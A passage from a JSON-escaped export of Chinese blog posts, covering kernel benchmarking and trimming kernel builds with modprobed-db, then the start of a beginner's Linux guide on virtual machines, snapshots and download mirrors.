t\u003ctd\u003e-\u003c/td\u003e\n\t\u003c/tr\u003e\t\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003e接下来是《半条命2:失落的海岸线》(与《黑山起源》同为起源引擎)的跑分成绩,单位是 FPS:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctbody\u003e\u003ctr\u003e\n\t\t\u003cth\u003e测试次数\u003c/th\u003e\n\t\t\u003cth\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e155.31\u003c/td\u003e\n\t\t\u003ctd\u003e151.91\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e137.70\u003c/td\u003e\n\t\t\u003ctd\u003e139.08\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e137.63\u003c/td\u003e\n\t\t\u003ctd\u003e141.41\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均FPS\u003c/td\u003e\n\t\t\u003ctd\u003e143.5\u003c/td\u003e\n\t\t\u003ctd\u003e144.1\u003c/td\u003e\n\t\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003e由上可见,虽然自编译内核相较原版内核,有一定的性能提升,但是提升幅度不大。而我还发现,使用强制性能模式会导致电脑风扇长时间运行,CPU 过热现象明显。而在新内核下运行《黑山起源》,我觉得流畅度有些微提升,至少没有之前那么卡了。但是我高度怀疑这是某种安慰剂效应。\u003cbr/\u003e\n所以,自行编译内核并没有达到我的需求。但这不意味着我白搞了一通,至少编译内核速度快了。\n补充说明:我当时玩的是《黑山起源》的 Linux 版本,那个版本被很多的 ProtonDB 用户评为垃圾水平,因为在 AMDGPU 上会有贴图故障,而且不太更新。详情看这个。\n好了,进入我这篇文章的宝藏部分捏。\u003c/p\u003e\n\u003ch2 id=\"如何加速内核编译使用-modprobed-db-精简驱动模块\"\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/graysky2/modprobed-db\" target=\"_blank\" rel=\"noopener\"\u003emodprobed-db\u003c/a\u003e 是一个 bash 脚本,他能侦测你系统目前所使用的模块,并记录下来。在编译内核的时候,程序只会编译我们使用过的驱动模块,加速编译速度,减少内核体积。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e:使用这个软件,可能会精简驱动过头,导致使用不便。请各位打算使用前,最好稍微了解一下内核配置选项。本人仅在 Arch Linux 下运行过这个软件,如果你用的是 Ubuntu 等系统,使用有问题的话,请跟我说一下。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"过一下编译内核的一般步骤\"\u003e过一下编译内核的一般步骤\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e电脑装好编译环境,一般包括 gcc,make 等。Arch Linux 是要安装上 \u003ccode\u003ebase-devel\u003c/code\u003e 软件包组和 \u003ccode\u003egcc\u003c/code\u003e 。\u003c/li\u003e\n\u003cli\u003e你需要拖下来最新稳定版的内核源代码,然后进入源代码文件夹:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ git clone https://mirrors.tuna.tsinghua.edu.cn/git/linux-stable.git \u003cspan class=\"c1\"\u003e# 这里使用了清华镜像\u003c/span\u003e\n$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e linux-stable\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e使用以下任意一个命令,配置内核参数:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ make nconfig \u003cspan class=\"c1\"\u003e# 命令行界面配置\u003c/span\u003e\n$ make xconfig \u003cspan class=\"c1\"\u003e# 图形化界面配置(使用 QT )\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e: 很多教程是用make config配置内核,本人不推荐。界面太原始就算了,在 Arch Wiki 上面被标记为\u0026#34;被 nconfig 取代\u0026#34;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\" loading=\"lazy\" alt=\"nconfig长这样\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003enconfig长这样\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003col start=\"4\"\u003e\n\u003cli\u003e使用 \u003ccode\u003emake -j$n\u003c/code\u003e 命令编译,这里 \u003ccode\u003e$n\u003c/code\u003e 代表你电脑/虚拟机的核心数。\u003c/li\u003e\n\u003cli\u003e使用以下两个命令来安装内核:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ sudo make module_install \u003cspan class=\"c1\"\u003e# 安装内核模块\u003c/span\u003e\n$ sudo make install \u003cspan class=\"c1\"\u003e# 安装内核本身\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"6\"\u003e\n\u003cli\u003e重启到新内核,如果没有的话,查看系统引导器设置。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用-modprobed-db-精简内核\"\u003e使用 modprobed-db 精简内核\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e获取 modprobed-db 软件。Arch Linux 用户可以使用 AUR 直接安装 \u003ccode\u003emodprobed-db\u003c/code\u003e 软件包。如果不是的话,根据该软件 Github 所介绍:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ git clone https://github.com/graysky2/modprobed-db\n$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e modprobed-db\n$ make\n$ sudo make install\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e获取目前你电脑正在挂载的模块:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ modprobed-db \u003cspan class=\"c1\"\u003e# 初始化软件\u003c/span\u003e\n$ modprobed-db store \u003cspan class=\"c1\"\u003e# 获取目前运行模块并保存在一个数据库中\u003c/span\u003e\n$ modprobed-db list \u003cspan class=\"c1\"\u003e# 列出存在数据库里面,电脑运行过的的内核模块记录\u003c/span\u003e\n$ modprobed-db debug \u003cspan class=\"c1\"\u003e# 列出目前运行系统模块和数据库记录的异同\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e在编译内核的时候,配置内核参数部分,执行这个命令来关掉不需要的模块编译开关。然后编译安装即可。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ make LSMOD=$HOME/.config/modprobed.db localmodconfig\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"使用提示\"\u003e使用提示\u003c/h3\u003e\n\u003cp\u003e如果你是实机运行的话,务必把所有你要使用的设备都使用上。这里我翻译一下\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Modprobed-db#Populating_the_database\" target=\"_blank\" rel=\"noopener\"\u003e Arch Wiki 的原文\u003c/a\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e挂载上所有需要用到的文件系统\u003c/li\u003e\n\u003cli\u003e接上所有需要用到的可移动媒体,比如U盘,光驱等\u003c/li\u003e\n\u003cli\u003e以上选项包括挂载 ISO 文件,这个涉及到 loop 模块和 isofs 模块\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有设备,例如网卡,输入设备,电脑摄像头,移动设备等\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有应用程序,有些程序是需要特定内核模块来运行的,比如虚拟机\u003c/li\u003e\n\u003cli\u003e在不同版本/特制的内核上运行 modprobed-db,也许会录入一些其他内核没有的模块\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我当时没有插上我的光驱,就运行了这个,结果新内核没法读我的光驱:-P\u003c/p\u003e\n\u003ch2 id=\"我到底配置了啥给大家看看我改过的内核配置\"\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/h2\u003e\n\u003cp\u003e我上面说过,使用 modprobed-db 的前提是对内核配置有一定了解,至少需要看到选项的时候,脑瓜不疼。(如果你是应付操作系统实验,我看\u003ca class=\"link\" href=\"https://github.com/LevickCG/Happy-SE-in-XDU/tree/master/OS\" target=\"_blank\" rel=\"noopener\"\u003e我们学校的操作系统资料\u003c/a\u003e和\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\u003e小梦哥哥的实验总结\u003c/a\u003e的步骤,我觉得你要是在虚拟机下直接搞,应该没有问题)\u003cbr/\u003e\n所以,我来给大家看一下我的内核配置吧,给大家看看我改了什么。这里我用 \u003ccode\u003emake nconfig\u003c/code\u003e 配置。\u003cbr/\u003e\n第一个选项是总体选项,是包括了内核压缩,特定版本号之类的信息。请看 xmgg 的吧。\u003cbr/\u003e\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\" loading=\"lazy\" alt=\"默认界面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e默认界面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这是默认界面,配置程序给了我们一些选项。下面的功能键中,F2可以查看配置选项的详细信息,F9可以搜索配置选项。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\" loading=\"lazy\" alt=\"处理器类型和特性\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e处理器类型和特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方是配置处理器相关信息的。我这里把很多因特尔处理器的独家特性给删掉了,然后处理器优化强制设置为Zen 2。其他方面的有任务调度之类,我没有动,因为不懂。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\" loading=\"lazy\" alt=\"插入电源管理特性\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e插入电源管理特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置电源管理,我开启了休眠和睡眠,然后将CPU频率调整设置为\u0026#34;性能\u0026#34;。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\" loading=\"lazy\" alt=\"文件系统选项\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e文件系统选项\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置文件系统支持,是精简内核的重中之重,也是一个坑。如果精简过头,可能插个U盘读不出来。尤其注意CD文件系统和DOS文件系统选项。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\" loading=\"lazy\" alt=\"驱动配置\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e驱动配置\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置驱动选项,基本上编译内核,大部分时间都是在编译驱动。所以,这个地方我们可以大开杀戒。不过千万不要要把你需要用到的驱动给去了。\u003cbr/\u003e\n其他方面,诸如支持32位可执行程序,内核安全算法,调试选项等,我就不说啦。\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e虽然自己编译内核,没有使游戏性能有很大提升\u003cbr/\u003e\n但是我由此得到了提升内核编译的一个途径,这要将来节省时间\u003cdel\u003e卷过别人\u003c/del\u003e不就很方便了吗\u003cbr/\u003e\n实际上我还给内核打上了\u003ca class=\"link\" href=\"https://github.com/zhmars/cjktty-patches\" target=\"_blank\" rel=\"noopener\"\u003e中文补丁\u003c/a\u003e,不过网上很多教程,我就不在这说了。给大家个\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/375460344\" target=\"_blank\" rel=\"noopener\"\u003e链接\u003c/a\u003e看看吧。没记错命令是 \u003ccode\u003epatch -Np1 \u0026lt; 补丁文件\u003c/code\u003e 。\u003cbr/\u003e\n我还使用了 Arch Linux 的包管理工具,让整个过程更简单。具体看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Arch_Build_System\" target=\"_blank\" rel=\"noopener\"\u003e这个\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Traditional_compilation\" target=\"_blank\" rel=\"noopener\"\u003eArch Wiki提供的编译内核指南(多系统适用哦)\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\u003e小梦哥哥教大家操作系统实验啦\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/complie-linux-kernel-is-useless.html"},{"title":"快速逃离Linux指南","time":"2022-01-25T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/2qIsgFjYrfldwuh.webp\" alt=\"Featured image of post 快速逃离Linux指南\"/\u003e\u003cp\u003e看完了,搞定完操作系统实验,快跑!\u003cbr/\u003e\n注意:我不可能把在互联网上随便找到的教程再写一遍,我觉得很啰嗦,所以请各位多多使用互联网。\u003cbr/\u003e\n如果你是大佬,好好沉下心来帮帮小白,行吗。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003col\u003e\n \u003cli\u003e虚拟机的相关\u003c/li\u003e\n \u003cli\u003e镜像使用\u003c/li\u003e\n \u003cli\u003e好奇怪的桌面\u003c/li\u003e\n \u003cli\u003e文件相关\u003c/li\u003e\n \u003cli\u003e命令行的基本使(chao)用(xi)\u003c/li\u003e\n \u003cli\u003e如何把Linux引进家\u003c/li\u003e\n \u003cli\u003eLinux系统安全教育\u003c/li\u003e\n \u003cli\u003e还有没说到的,上网查资料/优雅地问问题\u003c/li\u003e\n \u003cli\u003e为什么我不推荐大家使用Linux\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"虚拟机相关\"\u003e虚拟机相关\u003c/h2\u003e\n\u003cp\u003e相信各位是被老师的某些需求,才知道有个操作系统叫Linux,才想安装的吧。而各位肯定不想在自己唯一的实机上安装,估计你们都连系统都没装过,会碰到一堆问题:-P\n所以虚拟机是一个更好的选择,它是模拟了一个类似于你电脑的环境。你在里面怎么折腾,只要不出格,基本上不会对你电脑里的其他东西有影响。\u003cbr/\u003e\n这里我不会教大家如何设置一个虚拟机,我给大家一些便于使用的指南。\u003c/p\u003e\n\u003ch3 id=\"增强功能\"\u003e增强功能\u003c/h3\u003e\n\u003cp\u003e一般安装完系统,你需要在虚拟机里的系统安装虚拟机的增强功能。安装完增强功能有啥好处呢?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e窗口缩放自动化,你没有必要盯着640x480的上古分辨率了。\u003c/li\u003e\n\u003cli\u003e相当于给虚拟机里的系统打上了驱动。最直观的,画面更流畅了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以共享一个剪切板,抄点命令代码更方便了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以互相分享文件了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里,给VirtualBox用户来个建议,一定要装VirtualBox软件的增强模块!上网找一下Oracle Extension Pack了解一下吧。\u003cbr/\u003e\n好了,如何安装捏?我知道网上可以找到一大堆的安装教程,但我突然间想多写一些,想让大家少走不必要的弯路。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e虚拟机软件\u003c/th\u003e\n\u003cth\u003e虚拟机里的系统\u003c/th\u003e\n\u003cth\u003e安装方式\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"2\"\u003eVMWare Workstation\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从VM选项找到”安装VMWare Tools”选项,然后安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLinux\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装open-vm-tools\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"3\"\u003eOracle VirtualBox\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e下载VBoxGuestAddtions.iso,虚拟机挂载安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eRed Hat系Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e同Windows安装方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003e其他的Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装virtualbox-guest-utils\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e顺便你还可以知道虚拟镜像挂载的知识呢。\u003c/p\u003e\n\u003ch3 id=\"硬件虚拟化\"\u003e硬件虚拟化\u003c/h3\u003e\n\u003cp\u003e虚拟化毕竟是模拟了一个电脑环境,这就好比某些双面人一样,心累啊。不过电脑没心没肺,没有道德真空,这不挺好的吗:-)\u003cbr/\u003e\n话说现在的CPU,都支持辅助虚拟化技术。这玩意简单来说,可以让虚拟机直接调用CPU的某些指令,让电脑更加轻松地进行虚拟化。要是没有这个,就真的只能靠软件模拟运行了,效率能把你逼疯。就像某些双面人一样,表面装好人,不过要没人陪衬,迟早装不下去的。\u003cbr/\u003e\n这个特性,Intel的叫VT-x,AMD的叫AMD-V。相信我,没有开这个玩意,大概率你的虚拟机会很卡,甚至有你的虚拟机可能都无法启动:-P\u003cbr/\u003e\n所以在这里,我要给大家的建议是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查看自己的BIOS设置,看看有没有开虚拟化设置(记住这个单词:Virtualization)\u003c/li\u003e\n\u003cli\u003e看看你的虚拟机CPU设置,有没有开虚拟化设置(一般选项里都有VM-T/AMD-V字符串)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"共享文件夹\"\u003e共享文件夹\u003c/h3\u003e\n\u003cp\u003e实际上前面我提到的增强工具,有一个文件互相拖拽功能,不过个人认为,超级难用。一般来说,虚拟机需要访问宿主机文件的话,我更倾向于使用共享文件夹功能。这个功能本质上,就是把宿主机的一个文件夹通过某种虚拟机内部的网络共享方式,让虚拟机访问。\u003cbr/\u003e\n至于怎么用,给你们一些指南,具体怎么做,请询问可爱的互联网姐姐:-)\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\" loading=\"lazy\" alt=\"这个是VMWare虚拟机下,配置共享文件的方式\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\" loading=\"lazy\" alt=\"这个是VirtualBox虚拟机下,配置共享文件的方式\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e设置的时候,尽量勾选上自动挂载/开机挂载,这样能省下很多的事情。\u003cbr/\u003e\n还有一件事,读写权限也要搞明白,我前面说不出格就没事,是因为虚拟机和宿主机本来是隔离的,现在有了一个口子互相通信了,万一你在虚拟机搞了危险操作,极有可能你那些珍贵的东西就要遭殃了。(实际上共享剪贴板也有风险,但比这个小多了)\u003c/p\u003e\n\u003ch3 id=\"系统快照功能\"\u003e系统快照功能\u003c/h3\u003e\n\u003cp\u003e我先给大家讲两个案例,一个是电脑行装系统,一个是Windows的系统还原。\u003cbr/\u003e\n电脑行装系统,喜欢用Ghost。他们提前预制出一个系统环境,然后用Ghost软件保存下来。组装完电脑后,他们把这个模板“扣进”新机器,系统就装完了。\u003cbr/\u003e\nWindows有个功能,叫系统还原。当你的电脑出现问题的时候,还原一下就好了。\u003cbr/\u003e\n系统快照在某种意义上,就是上面那俩的集合。它的功能,就是把虚拟机的状态(包括磁盘状态,硬盘状态)保存下来,类似于一个模板环境。然后你在虚拟机里面操作,发现系统坏了,直接拿之前的快照还原一下就行了。这比Windows的系统还原还好用呢,真的是一键还原。\u003cbr/\u003e\n具体怎么用,互联网姐姐比我更清楚呢,我给你们俩地图吧:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\" loading=\"lazy\" alt=\"这个是VMWare虚拟机的系统快照功能\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\" loading=\"lazy\" alt=\"这个是VirtualBox虚拟机的系统快照功能\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e既然我们的目的是为了一个干净的环境,方便还原。我建议各位存两个快照:一个在系统安装完成之后,一个是在你干活之前。\u003cbr/\u003e\n对了,快照本身也是需要更新的。因为虚拟机里面的系统是需要更新的,所以干活之前的快照一定要更新。至于最干净的,系统完成之后的镜像,一般是为了在虚拟机彻底没法用的时候,搞的救命稻草。\u003cbr/\u003e\n还有一件事,快照回退的时候,在快照生成时间之后的所有东西,设置都将消失!所以你有啥必须要保存的东西,看看上面的共享文件夹功能。\u003c/p\u003e\n\u003ch2 id=\"镜像使用\"\u003e镜像使用\u003c/h2\u003e\n\u003cp\u003e相信大家遇到过这样的情况:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e需要下载一个软件,兴致冲冲跑到官网下载,结果发现下载速度好慢啊:-(\u003c/li\u003e\n\u003cli\u003e你需要用pip搞点数学计算,结果下载的时间够你出门晒太阳了\u003c/li\u003e\n\u003cli\u003e你想去搞点其他的资料,然而就是上不去\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e没关系,各大高校和互联网公司已经帮你下好了,你从他们那里取就行了。\u003c/p\u003e\n\u003ch3 id=\"先告知你\"\u003e先告知你\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e清华大学镜像站:https://mirrors.tuna.tsinghua.edu.cn\u003c/li\u003e\n\u003cli\u003e中科大镜像站:https://mirrors.ustc.edu.cn\u003c/li\u003e\n\u003cli\u003e如果你是我校友的话(仅校内服务):https://linux.xidian.edu.cn/mirrors\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e镜像站一般会给你很多的帮助指南,一定要充分利用。镜像站的用途还是很多的,以下只是一些示例。\u003c/p\u003e\n\u003ch3 id=\"加速linux系统更新\"\u003e加速Linux系统更新\u003c/h3\u003e\n\u003cp\u003e鉴于这是Linux指南,不提Linux有点不太合适。\u003cbr/\u003e\nLinux系统的优点之一,就是软件更新比Windows舒服。但默认更新一般是很慢的,因为要走国外的服务器。所以说,更改系统的软件源地址就很有必要了。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUbuntu简便方法:设置里面有个选项,叫”软件与更新”,从那里修改。\u003c/li\u003e\n\u003cli\u003eFedora/CentOS简便方法:一般需要看镜像源的文档,开命令行复制粘贴命令。\u003c/li\u003e\n\u003cli\u003eArch Linux/Manjaro:编辑/etc/pacman.d/mirrorlist文件。\u003c/li\u003e\n\u003cli\u003eDebian/Ubuntu:编辑/etc/apt/sources.list文件。\u003c/li\u003e\n\u003cli\u003eRed Hat系列:编辑/etc/yum.repos.d下面的一堆repo文件。本人超级不建议编辑,能烦死。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对了,既然说到了软件源,这里预告一下,第五章讲命令行的时候我会细说这个的。\u003c/p\u003e\n\u003ch3 id=\"加速github的clone\"\u003e加速github的clone\u003c/h3\u003e\n\u003cp\u003e也不知为何,我们要从github下面拉下一个文件,总是好慢啊。幸亏现在有很多的镜像站来帮助我们快速下载。\u003cbr/\u003e\n这个我就直接扔俩地址,以及一个命令:\u003cbr/\u003e\n镜像1:https://hub.fastgit.xyz\u003cbr/\u003e\n镜像2:https://github.com.cnpmjs.org\u003cbr/\u003e\n命令:这个命令能让git访问github的时候,访问镜像。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003egit config --global url.\u003cspan class=\"s2\"\u003e\u0026#34;镜像网址\u0026#34;\u003c/span\u003e.insteadOf https://github.com\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"加速下载软件\"\u003e加速下载软件\u003c/h3\u003e\n\u003cp\u003e现在要下载啥软件,都喜欢找最近的镜像地点,加速你的下载。可就怕这玩意不好使用,你别说,我下载Eclipse IDE的时候就遇到过。\u003cbr/\u003e\n当然,幸运的话,镜像源都会给你备份好了。自己探索吧,我觉得没必要多说了233\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rELAsP7vtYbHMCZ.jpg\" loading=\"lazy\" alt=\"页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e页面上提供了Java(OpenJDK),AOSP(安卓系统源代码)的镜像 下面还有VLC,OBS,Wireshark,FDroid等软件的镜像\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 